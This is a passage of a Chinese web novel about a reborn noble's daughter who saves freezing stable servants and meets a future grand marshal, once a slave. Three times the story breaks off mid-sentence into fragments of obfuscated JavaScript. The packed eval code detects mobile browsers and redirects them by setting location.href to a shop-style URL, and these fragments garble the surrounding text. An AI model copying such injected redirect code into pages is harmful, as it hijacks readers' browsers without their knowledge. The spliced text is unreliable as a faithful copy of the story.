“因为只有这样,才能让崔家真的感受到‘痛’。” 寿宴成了丑闻,崔父碍着满座高朋那一双双眼睛,在崔太夫人“竟有此事”的追问下,只得佯装惊愕,怒斥了夫人的“蠲省”之道,狠狠发落了克扣奴仆月钱的管事,然后亲自扶起阿青,温声安抚,又当众命人厚葬了阿茗,给了阿茗妻子一大笔钱,让她抚养襁褓中的孩子。 阿青的目的达到了。 然而崔父当真会容阿青吗?容一个,敢在自家宴席上揭丑的、以下犯上的混小子? 没人知道。 大家只知道,那个犯事管事的小侄儿,对于阿青怀恨在心,在管事被发卖的前一天,在马厩放了把火,誓要将阿青这个罪魁祸首烧成焦炭。 就是这么巧。 然而更巧的是,他摸了个空。 因为此时的阿青,早已和崔家大小姐崔念贞一起,私奔了。 丑闻裹着丑闻,传遍京都,崔家一夜之间变全城最大的笑柄。谁再跟崔家说亲,谁家就是第二大的笑柄。 崔行婉就这么耽搁下来,一直到三年后,阿青成了谢剑清,马奴成了大司马,而她沦为庶民。 忍饥受冻的时候,她咬牙切齿地回忆那个罪魁祸首,脑海中又浮现出他在寿宴上被迫下跪、又挣扎站起的身影。 那单薄的、颤栗的,却又努力挺直的脊背。 那年少却锐利的一双眼。 历历在目。 以至于,她像狗一样在地上爬着捡起马鞭时,抬头的那一瞬间,她就认出了那一双眼。 那时的寒风,像现在一样冷。 不…… 现在,好像更冷。 崔行婉睁开眼睛。 屋内燃着木炭,尚且有丝丝冷意钻了进来。崔行婉顾不得披衣,赤脚走下床,打开窗,果然见片片飘雪。 就是今天。 婢女小桃捧着暖炉过来,崔行婉问:“这雪下多久了?” 小桃道:“应该是刚开始下呢。我才去添了炭,那会子只是冷,还没飘雪。二小姐,快把暖炉煨一煨,仔细明天着凉……” 崔行婉没接暖炉,反倒拉住小桃的衣袖,仔细去看,辨认这是新衣还是旧衣。 小桃虽然是她的贴身侍女,和她日夜都在一处,然而崔行婉毕竟是小姐,小姐怎么会去关心丫鬟穿的衣服呢?崔行婉认不出来,须得上手去摸。 小桃这样的贴身大丫鬟,有许多杂活是不需要她做的。然而也要上夜,也要服侍,彻夜不眠地守在崔行婉闺阁的外间,夏天赶蚊子,冬天添炭火。主子披衣下了床,她就得赶紧送上暖炉。她穿的衣裳是新是旧,只要摸一摸袖口磨损的痕迹,就知道了。 崔行婉摸了一下,问:“是新的冬衣?什么时候发的?” 小桃道:“和旧例一样,立冬的时候发呀。” 崔行婉皱眉问:“所有的下人,都发了冬衣?” 小桃脸色一变:“小祖宗,是谁在你耳边嚼了舌根是不是?您别听那起子人浑说……” 然而崔行婉追问,小桃只能支支吾吾道:“夫人是说了‘蠲省’来着,但是,也没说要‘省’多少呀!做下人的,就看着办了……管事说,贴身服侍主子的,都是要待客迎宾的,穿得旧了,影响崔家的颜面……所以我们的冬衣,都是按时发了。” 崔行婉便了然了。 丫鬟奴仆,也分很多种,也有三六九等。最高级的,是服侍过主子半辈子的的老嬷嬷、老管事,次一等的,便是主子身边的贴身大丫鬟,譬如小桃。最末等的,便是连服侍主子的福气都没,只能去服侍畜牲、清理污秽的奴仆,比如马厩里的马奴。 崔夫人说了蠲省,可能并不是要把所有下人的冬衣都撤了。按照份例,老资历的嬷嬷、管事,一年可领四套冬衣,从薄到厚;小桃这样,年纪虽轻,但是在主子跟前服侍的,数量略少些,一年可领两套。 又有往年的旧衣撑着,以此来看,蠲点冬衣,冻不死人。 偏偏最底层的奴仆只有一套。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310065|198792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >偏偏他们朝不保夕,流传着一个习惯,每年过了最冷的时候,就把发的冬衣当了,换钱来改善生活。反正下一年立冬,府里还会发冬衣。 就这么冻死了一条人命。 此时刚刚飘雪,地上披了白霜,又快速融成一片湿润。 马厩附近的门房里,阿茗还在呵着手,原地蹦跶着,努力给自己取暖。 雪越来越大,风越来越冷,他渐渐没力气动了,只得抱臂缩在角落里,围着仅有的一盆炭火。 夜幕一片漆黑,伸手不见五指,只有眼前那盆冒着刺鼻烟味的木炭,冒着星星点点的火光——可是也快被窗缝里传来的寒风吹灭了。 忽明,忽暗,直到“噗嗤”一声,完全暗下去。 世界彻底归于黑暗。 阿茗半闭着眼,不知不觉合上眼帘,却忽然一个激灵惊醒,一片明亮的光重新照亮门房。 风雪夜中,木门被推开,伴着吱呀作响的声音,一个披着斗篷的身影提着灯笼,站在门口。她身边,一个侍女瑟缩着,抱着着一团厚厚的物什。 风雪一夜未歇。 天色渐渐明了。 一个少年快步走来,手里抱着一盆木炭,轻车熟路地推开门房。 正是阿青。 “阿茗哥,昨天下雪了,你这儿还好吗?我想法子弄了些炭,给你送来一半,先凑活着用吧。” 阿青放下炭盆,俯身点燃,又用火钳去拨弄炭块。面色有些紧绷: “现在这年头,连木炭都难得了……听说,昨日周姨娘还闹了一场,道是木炭烟重,不合她的意,偏要银丝炭。呵。” 尾音讥诮。 寒冬腊月,动乱频仍,庶民奴仆所求只是一丝暖意而已,而高高在上的主人们,却要连一丝烟味都要挑三拣四。 真是金贵。 他燃好炭火,眸中的情绪尚未散去,转身看见阿茗身上崭新的冬衣,便化作了愕然: “阿茗哥,你这是……” 阿茗穿着新衣,却比他更愕然:“炭火早涨价了,你哪里来的钱去买?” 阿青闻言,别过脸去,不做声了。 阿茗顿时竖起眉毛,冲过来翻开他的衣领一看,空空荡荡,顿时急了: “你把你的玉给当了?” 阿青沉默片刻,低声道:“一块玉而已,当了就当了……” 阿茗叫道:“不成,不成!那是你爹留给你的,你一直揣在怀里,宝贝得跟什么似的,怎么能当呢?你快把它赎回来!” 阿青挣开他的手:“赎回来?夫人要‘蠲省’,主事要推迟月俸,我们拿什么去买冬衣被褥,拿什么买炭火!难道为了守住一丝念想,就活活一起冻死不成!” “我们现在有了!有了!” 阿茗让开身,露出身后柴垛旁,那堆了一叠的被褥棉衣,和一盆新的木炭。 阿青登时便愣住了。 奴仆下人,也有三六九等。若无资历,也没有在主子跟前伺候的福分,那便要在府中的家生子面前卖乖讨好,拉帮结派,找一个“靠山”,才能多吃几口热饭。他和阿茗,两个马奴,谁会记起他们? 少年青白的嘴唇微动:“……是谁?” 话音轻轻,似是疑问,又似自问。他没头没脑道: “……她从平宁州回来了,是不是?” 阿茗疑惑道:“你说谁?” 闻言,阿青嘴唇蠕动,那个名字在舌尖滚了一遭,还没吐出来,便听阿茗接着道: “来送东西的人,就是周姨娘房里的,二小姐呀!” 阿青怔愣了。 5. 第 5 章 阿青和阿茗,两个马奴,得了他们应有的冬衣。 但是其他人呢? 第二日,崔夫人颁下令,份例只有一套冬衣的奴仆们,不在“蠲省”之列,今日内就会将他们的冬衣份例发回。 人人皆叹夫人眼明心亮,千恩万谢。私下里,崔夫人则是惊魂未定,拉着崔行婉的手,慨叹: “幸亏婉儿机警,来传了信儿。要不然,母亲都不知道,底下人居然是这么办事的!你祖母寿宴在即,要是冻死了人,这可如何是好?” 崔行婉也是拿帕子拭泪:“母亲慈悲心肠,旁人和您可不一样,借着蠲省之名,草菅人命,若是事发,还要您枉担虚名!婉儿想一想,就后怕得跟什么似的……” 她拿帕子按着脸,幽幽道:“母亲,现在要紧的是弄明白,这事到底坏在谁身上了。” 崔夫人的脸色就难看起来了。 这等事情,一直是周管事去做的。周管事是崔府里的家生子,也是崔夫人身边的老人了,崔夫人一向很倚重他。 崔行婉也不多说,毕竟她不是夫人肚子里爬出来的。只是临走时,权当笑话似的跟夫人闲聊: “母亲也别放在心上,蠲一件衣服而已,原本算不得什么。我见那个奴仆险些冻死,便问他,就算府里不发寒衣,难道你就没有月例银子?去外面买上一件也行呀。谁知他竟推说,月例银子还没发到他手里。这就说笑了,我们崔府月例银子向来月初就发,在高门大户里也算头一份儿。这都月底了,怎么会没发?听闻这人媳妇月底刚生产,生了个儿子,保不齐呀,是他月初领了银子,全拿去买了什么‘保生儿子’的神药,好吃不好听,没脸说实话……” 说罢,崔行婉抿嘴,笑着告辞了,没去看夫人的表情。 阿茗的月例银子当然没发。很多下人的,都没发。 周管事拿下人月例去发印子钱,月末连本带利回笼了,再发下去。这事他已经做了三个月了。 这在下人当中不是秘密,但是没人敢去告发。一来,不知道周管家这么做,是不是夫人的授意;二来,他得了利息,少不得给那些有体面的嬷嬷管事们一点好处,他们吃了,自然要把这事儿按下来。三来嘛,只是拖些日子,又不是不发月例了,忍忍也就过去了。 底层人,向来很能忍的。只要日子过得去,睁一只眼闭一只眼,也就算了。 崔行婉之前也这么想的。所以她风闻时,还告诫小桃,和周姨娘手里的下人通通气,这事儿就算要捅,也绝不能从她们西院捅出去,给周管事没脸。 但是,自从她亲身经历了食不果腹、衣衫褴褛后,又亲眼看到在门房里头瑟瑟发抖的阿茗…… 然后,她坐到崔夫人面前的时候,忽然就忍不住了。 一忍再忍,话在肚子里绕了千回百转,最终在临走时,用玩笑的语气说出来。 虽说点到即止,可到底也是说了。 这一点儿也不符合她的人设。 自从穿越以来,她亲眼目睹了多少遍,告诫了自己多少遍,入乡就要随俗。这是古代,这是封建社会,这是史书上没有的大雍朝,就像魏晋南北朝那样,世家名士风流,庶民流血漂橹。 在这里,人就是有尊卑贵贱,这是她以人力越不过的天堑。 崔行婉只是个普通人。穿越前,她生长在北方的一个小县城里,从小就知道,只有好好读书才有出头之日。她努力考上重点大学,毕业工作,为了领导一句话,兢兢业业996,最终在一份ddl之前猝死。 闭上眼之前,邮件里的超大附件旁,还在转着圈,到死还是“上传中”。而她已经没有机会按下发送键。 那时候她的领导在做什么呢? 谁知道呢。 穿越后,崔行婉安慰自己,人就是有尊卑贵贱的。不信,就回想一下啊,连现代都是这样呢。 这样一想,接受起来,就没有那么困难了。 这么一安慰,就是十几年。 可是…… 上一世,那个人说的话,句句言犹在耳。 太夫人寿宴上,马奴阿青不甘质问:“奴仆也是人,奴仆也想要活命。” 尘灰纷飞的黄土路上,大司马谢剑清垂眸轻笑:“世家贵族并非生来高贵,而是联结在一起,维护他们的利益,踩在百姓的骨头上吃喝享受,而这个‘利益’,被粉饰成了‘天生高贵’,久而久之,连百姓自己都信了。信了他们天生高贵,自己生来卑贱……” 梦中听到谢剑清这番话的一刻,崔行婉听到了震耳欲聋的心跳声。 是她自己的。 这一段话,她可以更加精准、更加犀利的表达。只需要八个字—— “王侯将相,宁有种乎”。 而这个世界里,没有这句话! 这个大雍朝从前的历史,和中国古代史比起来,生产力和上层建筑相似,具体细节却千差万别。这里没有秦始皇,没有汉高祖,更没有什么陈胜吴广。 “王侯将相,宁有种乎”,这句话只停留在崔行婉那历经高考的残余知识里,隐埋在“现代记忆”的废墟下,成为灰尘一粒,崔行婉几乎以为自己已经不记得了。 ……她好希望自己不记得了。 从崔夫人房里出来后,崔行婉的脚步逐渐慢了下来。 直到西院院外,银装素裹,雪覆青松,崔行婉的脚步骤然停了。 小桃没刹住脚步,差点撞到崔行婉的后背。而崔行婉站在原地,连躲都不会了,几乎有些僵直,死死地看着前方。 小桃顺着她的目光看过去,只见青松下立着一个少年。 少年身量修长,有些单薄瘦弱,可是那眉眼间却有一种冷冽的清俊。 冰天雪地里,他外面罩的虽是冬衣,却不合身,有些宽大,更透出些许伶仃的瘦骨。立在青松下,虽因寒冷而轻微的颤栗,却不似其他奴仆一样佝偻着腰、把手抄在袖里取暖,而是努力挺直了脊背。 少年已经自报家门: “见过二小姐。小的名为阿青,在后院马厩做事。” 他行了一礼,定定地看着崔行婉。 这一声,终于把崔行婉从僵直的状态里唤了回来。 冷静,冷静!他现在还不是那个大司马,只是个马奴而已,怕什么! 崔行婉心里对自己嘶吼,找回了自己的声音,面上淡然道:“嗯,阿茗说起过。” 阿青听她说起阿茗,眉头更紧。 他干脆地从身边的箱笼里拿出一件冬衣,道:“无功不受禄,还请二小姐收回。” 那是她昨天给阿茗留下的,让他转交给阿青。看守马厩的马奴,只有阿茗和阿青二人,她便一气送去了两件寒衣,阿茗便只当二小姐兴许是最近想要出行,才想起来马厩里的奴才,来送送温暖施施恩。 崔行婉摇头,道:“你和阿茗日日照顾良驹,调度车马,如何无功?且收着吧,过几日就是祖母寿宴。寿宴过后,家里要备车出行的次数,可比之前多多了。到时,天寒地冻,你们难道要穿着单衣赶车不成?” 她的语气,已经温柔到堪称和蔼…… 上一世,阿青三天后便与嫡姐私奔。这固然有他成了众矢之的、只能逃离崔府的缘故,但是嫡姐能陪他做到这一步,与他情分必然不浅了。 只不过,后来也确实没有听说嫡姐的消息。谢剑清成了大司马后,正妻之位一直空悬,谢绝了许多高门大户的联姻拉拢。 崔行婉不知道他们之间到底有什么纠葛,也不想知道。她现在只求在大司马面前留点恩义,为崔家摇摇欲坠的形象挽回个一两把,让自己这个高门贵女能继续做下去。 在这个时代,庶民的命根本不算命,太贱了。只有牢牢攀住“世家”,她才能不掉下去,才能像现代那样,相对舒适地活下来。 这样想着,她看向阿青的眼神又微动了两分。 阿青垂下头,恭谨道:“身为崔家马奴,这是分内之事,不敢居功。二小姐说得是,如今天寒地冻,只要出了屋门,哪里都是冷的。不拘我们这种要套车赶马的。 ——二小姐,可知今日积雪多厚?如此积雪,融化之后,又会如何?” 崔行婉愣了愣。 能如何呢? 她回忆了一下,往年也有大雪,崔父每每笑说“瑞雪兆丰年”。除了冷了些,她也没觉得和平常有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310066|198792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么区别呀。 阿青依旧低着头,似乎笑了笑,道: “水井,会变浑浊。” 突地一下,崔行婉听到自己心跳漏了一拍。 水井里的水变浑了,不能喝了,那就只能去远处用水、挑水。 能去哪里呢? ——京郊,河边。 打水的下人去上游凿冰窟窿,浣衣的婆子去下游凿冰窟窿。 就像她上一世那样…… 崔行婉全都想起来了。 包括,为什么融雪之后,井水会变浑。 这是因为,雪水融化,会逐渐渗透井口周围土壤,携带泥土融进水中…… 融雪还会使地下水位会快速上升,搅动井底和含水层中沉积的细小颗粒,使水暂时变浑…… 如果井盖密封不严,融化的雪水可能直接沿着井壁流入,带入地表污染物和泥沙…… 融雪过程持续多久,井水浑浊的状态就要持续多久…… 她怎么知道得这么清楚? ——因为这是她高中模拟考时,在地理卷子上见到过的题目! 熟悉的字眼涌入脑海,带着记忆中,学校打印机带着的劣质油墨味,穿着校服的学生们争抢着卷子,吵吵闹闹这一题到底该选B还是D。 画面中,一个扎着高高马尾辫的女孩拿着笔,勾出了正确选项,学生们立刻爆发出“哦——”的一声,有人拍着桌子眉飞色舞,有人仰脖嚎丧,做了个要哭不哭的鬼脸。 那个女孩是她自己。当时的地理课代表。 她想笑,又想哭。 可是那甚至不是上一世了。是上上一世。 崔行婉再回神时,只看到远处雕梁画栋,碧瓦飞甍。 阿青一直保持着马奴该有的姿态,低头回话,未曾直视崔行婉。他语气淡淡,说着自己往年司空见惯的事: “待冰消雪融后,水井要不断打水、抽水,花上许久,才能变清。下人们便只能去河边挑水……” “后院里浣衣的,是两个头发斑白的婆子,两个未满十二岁的小丫头。下人挑来的水,是供公子小姐们吃用的,她们只能抱着衣服,去河边浣洗。” “可是,其他地方的积雪会融,河面冰层上的积雪却不会融。她们须得用手拨开积雪,才能去凿开冰面。” “有时候,那积雪下面,只是一块浮冰而已。一锄头下去,人也就栽倒进了河里了。” 阿青忽然笑了笑:“去年的钱婆子,就是这么没的。” “夫人为筹备太夫人寿宴,殚精竭虑,蠲省了许多用项,阿青理会的。承蒙二小姐垂怜,只是这寒衣,还是留给更有需要的人吧。譬如那些浣衣的下人。二小姐兴许不知道,她们的手镇日浸在冰水里,都生了冻疮……阿青好歹也是个年轻男子,扛得过去。” ……她怎么会不知道。 那是刻骨的冷,刻骨的痛。 崔行婉站在原地,一股血潮涌到头顶,最终酸了鼻尖。她哑声道: “夫人已经把冬衣重新发下去了。不管是马厩里的,还是后院浣衣的……通通补回去。他们都会有的。” 阿青听到她话音中的涩意,终于抬起头来。 他看到了崔行婉微红的眼眶,下意识抬了一下手,又被火烫了般收了回去。 阿青原本在庭外等了许久,听人说,二小姐一早就去了夫人那里。又听她刚才那一番话,阿青哪里还不明白她是去做什么的。 他看了看手中原本准备来还给她的冬衣,低声道:“……多谢二小姐在夫人面前美言。” “不是阿青不识好歹,非要来拂您美意……只是二小姐有所不知,成了家的人,每每过了冬,就是千般万般不愿,也只能将厚衣服当了,贴补家用……若是今年府中不发寒衣,他们便只有等死。谁让他们们命贱。” 崔行婉脱口而出: “谁说他们命贱?难道谁的命就高贵?王侯将相,宁有种乎!” 这话响在二人之间,如同一道天雷,轰地炸在脑海。 阿青愕然地看着她。 崔行婉意识到自己说了什么,脸上血色尽褪,下意识后退了一步。 6. 第 6 章 翌日,崔行婉把自己关在房中,一整天未踏出一步。就连小桃在门外敲门,她也置若罔闻。 她在房里鼓捣矾石。 在大雍朝,矾石是术士们用来炼丹的原料。没有人知道,它还有过滤水源的作用。 崔行婉关在房里,用一桶浑浊的水,蒙头试了一整天,终于滤出了清澈见底的水,而且毫无异味,尝起来和普通清水别无二致。 崔行婉松了一口气。从前,她不是没有提过一些现代的技术,可是崔家家风保守,崔父更是如此。那些“奇思妙想”,还没传到崔父那,就被压制了下去。大哥崔廷玉更是直白地告诉她,崔家的女眷,只需要德容言功就好了,连谈诗论赋不必。碰了旁门左道,只会让人觉得有辱斯文。 他言语之间,颇为忌惮。崔行婉不明所以,但也隐约感觉到了其中厉害,便再没用过任何现代知识了。 可是现在,崔行婉忍不住,想再用一次。 就当是,为了那个在河边凿冰浣衣的自己。 崔行婉坐在书桌前,握紧了记着矾石滤水用法的纸张,决定了,等太夫人寿宴结束之后便交上去。至少让浣衣妇们少受些罪。 她长松一口气,回头看向窗外,只见今日雪未停,庭外青松挂了星星点点的白,冰棱凝在枝桠下,积雪覆在松叶上。 青松却依然,不改矗立。 就像方才松下那个少年,单薄却努力挺直的脊梁。 崔行婉惘然出神,不知为何,脑海中忽然划过一句诗。 大雪压青松,青松挺且直。 ……好像是在现代时听过的诗。 她已经很久很久,没有想起过在现代听过的诗了。久到她根本记不起,这首诗出自哪朝哪代,作者何人。 可是,她忽然好想抓住脑海里每一片零碎的记忆。 崔行婉重新铺纸研墨,将那首诗默了下来。 一笔一划,珍而重之。 窗外却忽然传来了小桃的声音,似乎在和谁交谈。 “二小姐今日偶感风寒,身子不爽,午睡过后还没起呢,不宜见客……” 这是原先崔行婉交代小桃去挡人的理由。崔行婉一听,连忙收好矾石,抓起记着滤水用法的纸张塞进怀里,躲去床上,拉下帘帷装睡。 她蒙着头,只以为是她兄长崔廷玉。 崔廷玉快授官了,亦盘算着姐妹们的前程婚事,曾明里暗里提到过,要崔行婉在太夫人寿宴上多留意,看中了哪个,去跟姨娘提,叫姨娘去给父亲吹枕边风。 崔行婉只冷笑而已。太夫人寿宴,来访宾客无不是高门贵胄,难道是白菜萝卜,任她挑不成?崔念贞是夫人嫡女,太夫人亲自接去抚养过的,还能有祖母说项,可是崔行婉一个旁支庶女,生母卑微,难道能入他们的眼? 不能凭借门第家私,那就只能凭自个儿了。 可是男女有别,都不同席呀。她凭自己,怎么能跟那些公子们搭上线? 所以要拣在太夫人寿宴时呀。 专挑太夫人娘家姻亲家的,光明正大与表兄表弟们叙旧谈天,暗送秋波。 她的好大哥,打的原是这个主意。只可惜,上一世崔行婉眼笨手拙,还没在寿宴上搔首弄姿捞个金龟婿,崔念贞就跟马奴私奔了,哈哈。 崔行婉想起上一世,崔廷玉得知崔念贞和阿青私奔时,气得一佛出世二佛升天,大骂: “我早知道,那丫头指望不上,小时候就惯会坏事,现在更荒唐了!祖母给她安排的亲事那么好,亲自给她穿针引线,相看郎君,她竟然还是跟那个马奴?——” 崔廷玉一直对崔念贞颇有微词,崔行婉是知道的。盖因五年前,崔廷玉时年十五,崔父正在为儿子筹谋,将他引荐给当世名士大儒进学之际,发生的一桩事。 大儒的学问大不大,不知道,但是名气大就足够了。对于扶风崔氏这个旁支来说,出一个名士高徒,可是顶顶重要。顶着名士名头,才能真正打入顶级世家的社交圈子,镀一层金,待崔廷玉弱冠之时,荫封授官,自然高上好几个台阶。 这就是个垄断的年代。阶级,话语,信息,外化为了所谓的名声。说白了,都是权力的化身,令人目眩神迷,沉醉不已。 不过,名士也不是谁都收的。要不然怎么是“名士”呢?崔家自然要先造势,博个小小的名声。 博个什么样的名声呢? 才?崔廷玉文采平平。 貌?好大哥虽生得端正,但是在这个热衷傅粉施朱、追求貌若好女的时代,崔廷玉显然不是大众追捧的那一款。 强行营销? 怀才就像怀孕,藏是藏不住的。更别提姿容相貌这种硬件设施。真跟名士面对面,人家打眼一瞧,就知道你几斤几两。大多数名士擅长青眼白眼来回切换,要是营销翻车反被嘲,从此出门都抬不起头。 还能怎么办? 那就孝吧! 这年头,举孝廉也是寒门地主出头的一条路。崔廷玉虽用不着靠这个上位,但是谁嫌身上镀金少呢?而且,孝顺与否,还不是家里人说了算?他爹娘亲眷说他孝,那就是孝。 万事俱备只欠东风,府里连口风紧的大夫都找好了,谁知崔父被圣上指派事务,不得脱身。没关系,还有崔夫人呢!嫡母“重病”,庶子侍奉,那可真是孝得感人肺腑。 谁知,崔念贞忽然落了水。 崔念贞时年十二岁,自打娘胎里出来,一直病恹恹的,这一落水,发了高热,一只脚踏进了鬼门关。崔夫人膝下只有这么一个女儿,被吓得魂飞魄散,哪里还有空陪庶子作秀。 没关系,反正孝字已经烂大街了,不如尽心照顾嫡妹,博一个友爱手足的名声,独辟蹊径,落在名士眼里,说不准还新鲜呢。 崔廷玉便日日往东院跑,去照顾崔念贞。后来崔念贞醒了,崔廷玉却没回来。周姨娘等啊等,只等到东院来人,将崔廷玉的床铺也搬去了。 ——崔夫人怕刚刚病愈的女儿被人冲撞,下了死令,整个东院只进不出。崔廷玉既然要照顾妹妹以博名声,好啊,且等到妹妹彻底好转再走。 周姨娘气得在房里大摔东西,隔空痛骂崔夫人是吓昏了头吗,居然怀疑到崔廷玉身上了?崔廷玉可是她的宝贝儿子!儿子!一个男儿,难道还能去谋害女儿身的妹妹?犯得着吗?笑话! 谁料,崔夫人千防万防,仍是祸起萧墙。一日夜里,火光冲天,东院里面尖叫声络绎不绝。 东院走水了。 周姨娘吓得魂飞魄散,生怕儿子有个闪失,赤足奔到东院外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310067|198792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正撞上随人群仓皇逃出来的崔廷玉。 第二日,在平宁州荣养的崔太夫人就动身,从庄子上回来了。 崔太夫人来了之后,狠狠训斥了崔夫人,责怪她照料不周,又是让崔念贞落水,又是弄出火灾的。然后便做了决定,将孙女儿带离崔夫人身边,送去平宁州,不日启程,由崔廷玉贴身护送。 平宁州距离京城并不远,一来一回,几天时间也就足够了。再用崔太夫人的高门人脉,为崔廷玉运作散播一番,给他个好名声,易如反掌。 谁知,崔廷玉还未归,那位名士大儒一时兴起,参加了一场清谈集会,见到一位同样名声极好的子弟,相聊投契,当即收他做了关门弟子。不久后,又举荐他做了太子舍人。 那场清谈集会,崔廷玉原本也在受邀之列。 待崔廷玉归来,周姨娘对着他哭天抢地:“都怪那丫头和她该死的亲娘!老爷都说了,做做面子功夫就好,她娘非要把你扣在东院,一扣就是一个月……要是你早点出来,去见那位大人……或者不去平宁州,去那个清谈会上露脸,我儿一表人才,又有好名声,那位大人关门弟子的位置一定是你的!” 可是你儿子这个“好名声”,不也是靠崔念贞得的吗?崔行婉虽然对周姨娘的逻辑无语,但是不得不承认,太子舍人的位置,确实很诱人。 太诱人的东西,只要曾有一点能够收入囊中的希望,哪怕只有一点,哪怕实际隔着千里万里,也容易让人生出一种失之交臂的憾恨,叫人扼腕叹息,自怜自艾。 这一点,崔行婉也是后来才想明白的。她起初只以为是周姨娘在发泄怨怼,并没觉得崔廷玉也怪崔念贞。毕竟他回来后,一句都没提崔念贞,每当崔姨娘提起她,他都蹙眉叫姨娘收声。 直到崔念贞同阿青私奔,崔廷玉陡然爆发,怒不可遏,崔行婉才后知后觉地反应过来,她这位庶兄,和崔念贞早生嫌隙了。 重来一世,崔行婉心里已有了计较。崔廷玉毕竟是崔府唯一的儿子,她一母同胞的哥哥,在崔廷玉面前,她只管做他的乖妹妹,崔廷玉不喜欢崔念贞,她便明哲保身,阻止崔念贞跟阿青私奔以后,远着这位嫡姐,也就是了。 毕竟,寿宴过后,崔廷玉就快授官了。这一世要是没有崔念贞私奔的影响,崔家声望没有大打折扣,崔廷玉官职还有得升。他升得高,崔行婉才能嫁得好。 现在,要紧的是乖乖听话。崔廷玉不叫她碰旁门左道,她就把矾石藏得紧紧的,不叫他看见,免得横生枝节。 不过,按崔廷玉的性子,焉有被小桃挡在门外的道理?怎么这么久还没进来? 崔行婉躺在床上,把被子往下拉了拉,悄悄睁开一只眼睛,隔着床帐纱幔,偷摸看向紧闭的房门。 下一刻,房门被人一把推开,一个修长的身影抬步而进。 下午日头正好,光线随着大开的房门洒来,笼得人影朦胧若描金。那人径直走进,在书桌旁停下脚步,似乎在端详着什么。 片刻后,一个带着笑意的女子声音响起: “二妹妹这首诗,做得不错。” 崔行为蓦地睁大了眼睛。 那人转过身来,日光洒在她的肩上,映出一副和崔行婉七分相似的容颜。 是崔念贞。 7. 第 7 章 隔着帷幕,一切都是朦朦胧胧的。 崔行婉只看到另一个身影紧跟着追进来,小桃哀哀切切的声音响起:“大小姐!大小姐,我们二小姐还没起呢……您是长姐,怎劳烦您亲自前来?待二小姐起了,小桃服侍二小姐,亲自去东院给您请安……” 这话乍一听是场面话,再一想,就是放屁的谎话。 崔念贞回来也有一个多月了,虽说深居简出,连亲生母亲身边也不常去,可是毕竟人在东院。崔行婉日日去给崔夫人请安,若真想见崔念贞,还能没法子? 说白了,就是两方都不热络。 崔姨娘和崔廷玉因着痛失太子舍人宝座的缘故,对崔念贞不冷不热;崔夫人事后估计也回过味来了,自然也不想让他们西院的人跟她的宝贝女儿相处。虽说抚育了崔行婉,可那只是聊慰思女之心罢了。如今亲生女儿回来了,崔行婉这个“代餐”可以退场了。 崔行婉每日去东院请安,再向崔夫人多问几句“姐姐身体如何了”,无非就是刷个存在感,向崔夫人表白,自己这个庶女仍记着昔日情分昔日恩,对嫡姐也一派敬慕爱护,毫无他想。 至于崔夫人要如何,那就是她的事了。总之,崔夫人不开金口,崔行婉绝不会主动要求见崔念贞。 没想到,崔念贞自己找上门来了! 回忆前世,崔念贞被送去平宁州之前,崔夫人和周姨娘斗法斗得厉害,崔行婉和崔念贞两个孩子自然也不会有过多接触,也就年节上头见一见;崔念贞一回来,便是太夫人寿宴,三天后,便同阿青私奔了。 所以算起来,她与崔念贞几乎没有什么交集,除了知她病弱之外,对她的脾性一无所知。 自然,前世的崔念贞也没来特意找过她。今天是怎么回事? “我这次来,可不是要二妹妹给我请安的。” 崔念贞的声音响起:“你叫小桃是吧?今天去采办那儿领了矾石的,就是你?” 小桃道:“正是。二小姐最近在学山水画,叫小桃去领了矾石和松香胶来,说是把矾石磨成粉,混在一起,涂在纸上,说是能防止墨迹洇散……” 这是崔行婉让小桃弄矾石时的说辞。崔行婉自觉并无不妥,却听崔念贞笑道: “是吗?那怎么我亲自去领矾石,采办却推三阻四呢?” 崔行婉愕然。 小桃更愕然!崔念贞是正房嫡女兼独女,崔夫人的眼珠子,又在崔太夫人跟前长大,谁敢看轻?她要什么,谁敢不给? 崔念贞浑不在意:“没法子。我自己既然讨不来,那只能向二妹妹借了。你别怕,我不去吵二妹妹,就在这儿等着。等她醒了,我亲自向她借。” 说罢,也不管目瞪口呆的小桃,顾自在书桌旁坐下,拿起崔行婉之前遗留在书桌上那篇诗文,凝目出神。 崔行婉只得哼唧了几声,翻了个身,打了个哈欠,一副午睡慵懒刚刚醒转的样子,唤道:“小桃……什么时辰了?” 小桃如蒙大赦,连忙奔过去,服侍崔行婉起身,道大小姐大驾光临。崔行婉忙揉了揉眼睛,披起外裳就奔下床:“姐姐!” 她一肚子场面话,还没到嘴边,崔念贞就摆摆手: “听说二妹妹有矾石,能否借我一用?” 在大宅院呆久了,真不适应如此单刀直入的相处方式。崔行婉怔了一下,问:“姐姐要矾石做什么?” 崔念贞道:“你要它做什么,我就要它做什么。” 